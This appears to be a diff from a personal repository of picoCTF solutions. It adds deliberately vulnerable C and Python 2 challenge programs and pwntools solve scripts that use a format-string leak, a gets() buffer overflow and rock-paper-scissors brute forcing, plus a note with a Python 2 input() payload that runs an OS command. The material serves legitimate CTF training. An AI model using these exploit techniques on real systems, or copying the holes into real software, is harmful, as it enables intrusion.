143c: e8 86 fe ff ff call 12c7 <call_functions>
1441: b8 00 00 00 00 mov $0x0,%eax
1446: 5d pop %rbp
1447: c3 ret
```
# find `main` and `win` locations
```
000000000000136a g F .text 0000000000000096 win
0000000000001400 g F .text 0000000000000048 main
```
# find buffer offset to read return address into `main` via gdb
- %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x.%lx
- return value $\leftrightarrow$ *main+65 after dot

24
pie_time_2/sol.py Executable file
View File

@@ -0,0 +1,24 @@
#!/usr/bin/env python
from pwn import *
#conn = process("./vuln")
conn = remote('rescued-float.picoctf.net', 49587)
conn.recvuntil(b'name:')
conn.sendline(b'%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x.%lx')
conn.recvuntil(b'.')
return_addr = int(conn.recvline(), 16)
log.info(f"received return addr: {return_addr}")
conn.recvuntil(b'12345: ')
main_offset = 0x1400
win_offset = 0x136a
call_fun_ret_offset = 65
main_addr = return_addr - call_fun_ret_offset
win_offset = main_addr - main_offset + win_offset
conn.sendline(f'{hex(win_offset)}'.encode())
conn.recvline()
conn.interactive()

BIN
pie_time_2/vuln Executable file

Binary file not shown.

56
pie_time_2/vuln.c Normal file
View File

@@ -0,0 +1,56 @@
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
void call_functions() {
char buffer[64];
printf("Enter your name:");
fgets(buffer, 64, stdin);
printf(buffer);
unsigned long val;
printf(" enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
void (*foo)(void) = (void (*)())val;
foo();
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
call_functions();
return 0;
}

154
rps/game-redacted.c Normal file
View File

@@ -0,0 +1,154 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#define WAIT 60
static const char* flag = "[REDACTED]";
char* hands[3] = {"rock", "paper", "scissors"};
char* loses[3] = {"paper", "scissors", "rock"};
int wins = 0;
int tgetinput(char *input, unsigned int l)
{
fd_set input_set;
struct timeval timeout;
int ready_for_reading = 0;
int read_bytes = 0;
if( l <= 0 )
{
printf("'l' for tgetinput must be greater than 0\n");
return -2;
}
/* Empty the FD Set */
FD_ZERO(&input_set );
/* Listen to the input descriptor */
FD_SET(STDIN_FILENO, &input_set);
/* Waiting for some seconds */
timeout.tv_sec = WAIT; // WAIT seconds
timeout.tv_usec = 0; // 0 milliseconds
/* Listening for input stream for any activity */
ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
/* Here, first parameter is number of FDs in the set,
* second is our FD set for reading,
* third is the FD set in which any write activity needs to updated,
* which is not required in this case.
* Fourth is timeout
*/
if (ready_for_reading == -1) {
/* Some error has occured in input */
printf("Unable to read your input\n");
return -1;
}
if (ready_for_reading) {
read_bytes = read(0, input, l-1);
if(input[read_bytes-1]=='\n'){
--read_bytes;
input[read_bytes]='\0';
}
if(read_bytes==0){
printf("No data given.\n");
return -4;
} else {
return 0;
}
} else {
printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
return -3;
}
return 0;
}
bool play () {
char player_turn[100];
srand(time(0));
int r;
printf("Please make your selection (rock/paper/scissors):\n");
r = tgetinput(player_turn, 100);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
int computer_turn = rand() % 3;
printf("You played: %s\n", player_turn);
printf("The computer played: %s\n", hands[computer_turn]);
if (strstr(player_turn, loses[computer_turn])) {
puts("You win! Play again?");
return true;
} else {
puts("Seems like you didn't win this time. Play again?");
return false;
}
}
int main () {
char input[3] = {'\0'};
int command;
int r;
puts("Welcome challenger to the game of Rock, Paper, Scissors");
puts("For anyone that beats me 5 times in a row, I will offer up a flag I found");
puts("Are you ready?");
while (true) {
puts("Type '1' to play a game");
puts("Type '2' to exit the program");
r = tgetinput(input, 3);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((command = strtol(input, NULL, 10)) == 0) {
puts("Please put in a valid number");
} else if (command == 1) {
printf("\n\n");
if (play()) {
wins++;
} else {
wins = 0;
}
if (wins >= 5) {
puts("Congrats, here's the flag!");
puts(flag);
}
} else if (command == 2) {
return 0;
} else {
puts("Please type either 1 or 2");
}
}
return 0;
}

32
rps/sol.py Executable file
View File

@@ -0,0 +1,32 @@
#!/usr/bin/env python
from pwn import *
wins = 0
rounds = 0
def play_round(wins):
conn.recvuntil(b"exit the program")
conn.recvline()
conn.sendline(b"1")
conn.recvuntil(b"s):")
conn.recvline()
conn.sendline(b"rock")
conn.recvuntil(b"computer played")
conn.recvline()
result = conn.recvline()
if b"You win" in result:
return wins+1
else:
return 0
conn = remote("saturn.picoctf.net", 49891)
p = log.progress("brute-forcing solution")
while wins < 5:
rounds += 1
wins = play_round(wins)
p.status(f"round {rounds}, wins: {wins}")
p.success("won 5 rounds")
conn.interactive()

37
whats_your_input/in.py Normal file
View File

@@ -0,0 +1,37 @@
#!/usr/bin/python2.7 -u
import random
cities = open("./city_names.txt").readlines()
city = random.choice(cities).rstrip()
year = 2018
print("What's your favorite number?")
res = None
while not res:
try:
res = input("Number? ")
print("You said: {}".format(res))
except:
res = None
if res != year:
print("Okay...")
else:
print("I agree!")
print("What's the best city to visit?")
res = None
while not res:
try:
res = input("City? ")
print("You said: {}".format(res))
except:
res = None
if res == city:
print("I agree!")
flag = open("./flag").read()
print(flag)
else:
print("Thanks for your input!")

13
whats_your_input/sol.txt Normal file
View File

@@ -0,0 +1,13 @@
https://github.com/3ls3if/Cybersecurity-Notes/blob/main/real-world-and-and-ctf/scripts-and-systems/python2-input-vulnerability.md
Python 2 input vulnerability is a security flaw that arises due to the usage of the input() function in Python 2. Unlike its Python 3 counterpart, the input() function in Python 2 evaluates the input as Python code rather than treating it as a simple string. This behavior can lead to serious security vulnerabilities if the input is not properly sanitized or validated.
Consider a scenario where a Python 2 application uses the input() function to accept user input for executing system commands. If an attacker enters malicious code instead of expected input, the interpreter will execute it without any restrictions, potentially allowing the attacker to run arbitrary commands on the system.
# Python 2 vulnerable code
e = input("Enter your name: ")
print e
# payload
'__import__("os").system("uname -a")'

25
x-sixty-what/.gdb_history Normal file
View File

@@ -0,0 +1,25 @@
show vuln
list vuln
b vuln
exit
info functions
list main
disassemble main
disasm main
disassemble main
disassemble *main
b vuln
exit
disassemble main
disassemble vuln
b vuln+2
b *vuln+2
exit
disassemble vuln
b *vuln+24
run
stackf
nexti
stackf
disassemble flag
exit

19
x-sixty-what/sol.py Executable file
View File

@@ -0,0 +1,19 @@
#!/usr/bin/env python
from pwn import *
buffer_base = 0x7fffffffcf70
ret_addr = 0x7fffffffcfb8
ret_offset = ret_addr - buffer_base
flag_fun_addr = 0x0000000000401236
flag_fun_offset = 5
target_addr = flag_fun_addr + flag_fun_offset
send_buffer = b"a"*ret_offset + p64(target_addr, 'little')
#conn = process("./vuln")
conn = remote('saturn.picoctf.net', 60832)
conn.recvline()
conn.sendline(send_buffer)
conn.interactive()

BIN
x-sixty-what/vuln Executable file

Binary file not shown.

37
x-sixty-what/vuln.c Normal file
View File

@@ -0,0 +1,37 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFFSIZE 64
#define FLAGSIZE 64
void flag() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFFSIZE];
gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Welcome to 64-bit. Give me a string that gets you the flag: ");
vuln();
return 0;
}